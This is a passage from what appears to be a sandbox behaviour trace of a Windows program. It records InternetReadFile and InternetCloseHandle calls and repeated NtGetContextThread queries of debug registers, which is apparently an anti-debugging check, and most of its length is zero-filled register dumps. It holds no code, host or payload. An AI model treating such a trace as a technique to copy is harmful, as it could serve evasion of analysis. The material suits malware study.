[365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0129.695] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f00000, dwNumberOfBytesToRead=0x10000, lpdwNumberOfBytesRead=0x18fed4 | out: lpBuffer=0x1f00000*, lpdwNumberOfBytesRead=0x18fed4*=0xc040) returned 1 [0129.775] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x1ee5004 | out: Context=0x1ee5004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0129.776] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f0c040, dwNumberOfBytesToRead=0x10000, lpdwNumberOfBytesRead=0x18fed4 | out: lpBuffer=0x1f0c040*, lpdwNumberOfBytesRead=0x18fed4*=0x0) returned 1 [0129.784] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x1ee5004 | out: Context=0x1ee5004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0129.784] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0129.793] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x1ee5004 | out: Context=0x1ee5004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, 